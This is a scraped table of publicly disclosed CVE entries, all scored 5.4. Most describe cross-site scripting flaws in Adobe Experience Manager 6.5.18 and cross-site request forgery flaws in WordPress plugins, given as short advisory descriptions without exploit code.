CVE-2023-48597	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48602	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48615	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48616	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-50835	Cross-Site Request Forgery (CSRF) vulnerability in Praveen Goswami Advanced Category Template.This issue affects Advanced Category Template: from n/a through 0.1.	5.4	More Details
CVE-2023-48592	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-49164	Cross-Site Request Forgery (CSRF) vulnerability in OceanWP Ocean Extra.This issue affects Ocean Extra: from n/a through 2.2.2.	5.4	More Details
CVE-2023-48598	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48614	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48600	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48601	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48621	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48603	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48611	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48609	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48620	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48607	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48610	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48623	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48619	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48612	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48622	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48606	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48618	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48617	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48624	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48605	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48613	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48604	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-25715	Missing Authorization vulnerability in GamiPress GamiPress – The #1 gamification plugin to reward points, achievements, badges & ranks in WordPress.This issue affects GamiPress – The #1 gamification plugin to reward points, achievements, badges & ranks in WordPress: from n/a through 2.5.6.	5.4	More Details
CVE-2023-49744	Cross-Site Request Forgery (CSRF) vulnerability in Gift Up Gift Up Gift Cards for WordPress and WooCommerce.This issue affects Gift Up Gift Cards for WordPress and WooCommerce: from n/a through 2.21.3.	5.4	More Details
CVE-2023-50728	octokit/webhooks is a GitHub webhook events toolset for Node.js. Starting in 9.26.0 and prior to 9.26.3, 10.9.2, 11.1.2, and 12.0.4, there is a problem caused by an issue with error handling in the @octokit/webhooks library because the error can be undefined in some cases. The resulting request was found to cause an uncaught exception that ends the nodejs process. The bug is fixed in octokit/webhooks.js 9.26.3, 10.9.2, 11.1.2, and 12.0.4, app.js 14.02, octokit.js 3.1.2, and Protobot 12.3.3.	5.4	More Details
CVE-2023-48590	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-49821	Cross-Site Request Forgery (CSRF) vulnerability in LiveChat LiveChat – WP live chat plugin for WordPress.This issue affects LiveChat – WP live chat plugin for WordPress: from n/a through 4.5.15.	5.4	More Details
CVE-2023-49761	Cross-Site Request Forgery (CSRF) vulnerability in Gravity Master Product Enquiry for WooCommerce.This issue affects Product Enquiry for WooCommerce: from n/a through 3.0.	5.4	More Details
CVE-2023-49760	Cross-Site Request Forgery (CSRF) vulnerability in Giannopoulos Kostas WPsoonOnlinePage.This issue affects WPsoonOnlinePage: from n/a through 1.9.	5.4	More Details
CVE-2023-49759	Cross-Site Request Forgery (CSRF) vulnerability in gVectors Team WooDiscuz – WooCommerce Comments.This issue affects WooDiscuz – WooCommerce Comments: from n/a through 2.3.0.	5.4	More Details
CVE-2023-49163	Cross-Site Request Forgery (CSRF) vulnerability in Michael Winkler teachPress.This issue affects teachPress: from n/a through 9.0.5.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49148	Cross-Site Request Forgery (CSRF) vulnerability in Kulwant Nagi Affiliate Booster – Pros & Cons, Notice, and CTA Blocks for Affiliates.This issue affects Affiliate Booster – Pros & Cons, Notice, and CTA Blocks for Affiliates: from n/a through 3.0.5.	5.4	More Details
CVE-2023-48778	Cross-Site Request Forgery (CSRF) vulnerability in VillaTheme Product Size Chart For WooCommerce.This issue affects Product Size Chart For WooCommerce: from n/a through 1.1.5.	5.4	More Details
CVE-2023-48773	Cross-Site Request Forgery (CSRF) vulnerability in WP Doctor WooCommerce Login Redirect.This issue affects WooCommerce Login Redirect: from n/a through 2.2.4.	5.4	More Details
CVE-2023-48772	Cross-Site Request Forgery (CSRF) vulnerability in Arul Prasad J Prevent Landscape Rotation.This issue affects Prevent Landscape Rotation: from n/a through 2.0.	5.4	More Details
CVE-2023-47324	Silverpeas Core 6.3.1 is vulnerable to Cross Site Scripting (XSS) via the message/notification feature.	5.4	More Details
CVE-2023-23570	Client-Side enforcement of Server-Side security for the Command Centre server could be bypassed and lead to invalid configuration with undefined behavior. This issue affects: Gallagher Command Centre 8.90 prior to vEL8.90.1620 (MR2), all versions of 8.80 and prior.	5.4	More Details
CVE-2023-47325	Silverpeas Core 6.3.1 administrative "Bin" feature is affected by broken access control. A user with low privileges is able to navigate directly to the bin, revealing all deleted spaces. The user can then restore or permanently delete the spaces.	5.4	More Details
CVE-2023-6379	Cross-site scripting (XSS) vulnerability in Alkacon Software Open CMS, affecting versions 14 and 15 of the 'Mercury' template. This vulnerability could allow a remote attacker to send a specially crafted JavaScript payload to a victim and partially take control of their browsing session.	5.4	More Details
CVE-2023-46617	Cross-Site Request Forgery (CSRF) vulnerability in AdFoxly AdFoxly – Ad Manager, AdSense Ads & Ads.Txt.This issue affects AdFoxly – Ad Manager, AdSense Ads & Ads.Txt: from n/a through 1.8.5.	5.4	More Details
CVE-2023-47806	Cross-Site Request Forgery (CSRF) vulnerability in Saint Systems Disable User Login.This issue affects Disable User Login: from n/a through 1.3.7.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-33214	Cross-Site Request Forgery (CSRF) vulnerability in Tagbox Tagbox – UGC Galleries, Social Media Widgets, User Reviews & Analytics.This issue affects Tagbox – UGC Galleries, Social Media Widgets, User Reviews & Analytics: from n/a through 3.1.	5.4	More Details
CVE-2023-6778	Cross-site Scripting (XSS) - Stored in GitHub repository allegroai/clearml-server prior to 1.13.0.	5.4	More Details
CVE-2023-49853	Cross-Site Request Forgery (CSRF) vulnerability in PayTR Ödeme ve Elektronik Para Kuruluşu A.Ş. PayTR Taksit Tablosu – WooCommerce.This issue affects PayTR Taksit Tablosu – WooCommerce: from n/a through 1.3.1.	5.4	More Details
CVE-2023-49843	Cross-Site Request Forgery (CSRF) vulnerability in QuanticEdge First Order Discount Woocommerce.This issue affects First Order Discount Woocommerce: from n/a through 1.21.	5.4	More Details
CVE-2023-49854	Cross-Site Request Forgery (CSRF) vulnerability in Tribe Interactive Caddy – Smart Side Cart for WooCommerce.This issue affects Caddy – Smart Side Cart for WooCommerce: from n/a through 1.9.7.	5.4	More Details
CVE-2023-6907	A vulnerability has been found in codelyfe Stupid Simple CMS up to 1.2.4 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /file-manager/delete.php of the component Deletion Interface. The manipulation of the argument file leads to improper authentication. The exploit has been disclosed to the public and may be used. The identifier VDB-248269 was assigned to this vulnerability.	5.4	More Details
CVE-2023-6762	A vulnerability, which was classified as critical, was found in Thecosy IceCMS 2.0.1. Affected is an unknown function of the file /article/DelectArticleById/ of the component Article Handler. The manipulation leads to permission issues. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-247890 is the identifier assigned to this vulnerability.	5.4	More Details
CVE-2023-49834	Cross-Site Request Forgery (CSRF) vulnerability in realmag777 FOX – Currency Switcher Professional for WooCommerce.This issue affects FOX – Currency Switcher Professional for WooCommerce: from n/a through 1.4.1.4.	5.4	More Details
CVE-2023-49824	Cross-Site Request Forgery (CSRF) vulnerability in PixelYourSite Product Catalog Feed by PixelYourSite.This issue affects Product Catalog Feed by PixelYourSite: from n/a through 2.1.1.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50767	Missing permission checks in Jenkins Nexus Platform Plugin 3.18.0-03 and earlier allow attackers with Overall/Read permission to send an HTTP request to an attacker-specified URL and parse the response as XML.	5.4	More Details
CVE-2023-6890	Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.17.	5.4	More Details
CVE-2023-6488	The WP Shortcodes Plugin — Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'su_button', 'su_members', and 'su_tabs' shortcodes in all versions up to, and including, 7.0.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	5.4	More Details
CVE-2023-6889	Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.17.	5.4	More Details
CVE-2023-48591	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48593	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48589	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48496	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48494	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48493	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48492	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48491	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48490	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48489	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48488	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48487	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48486	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48485	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48588	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48484	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48483	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48482	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48481	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48480	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48479	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48478	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48477	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48495	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48497	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48520	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48498	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48518	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48517	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48516	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48515	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48513	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48512	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48511	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48510	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48509	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48508	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48507	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48506	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48505	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48504	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48503	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48502	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48501	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48500	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48499	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48476	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48475	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48474	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48473	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48450	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48449	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
CVE-2023-48448	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48447	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	5.4	More Details
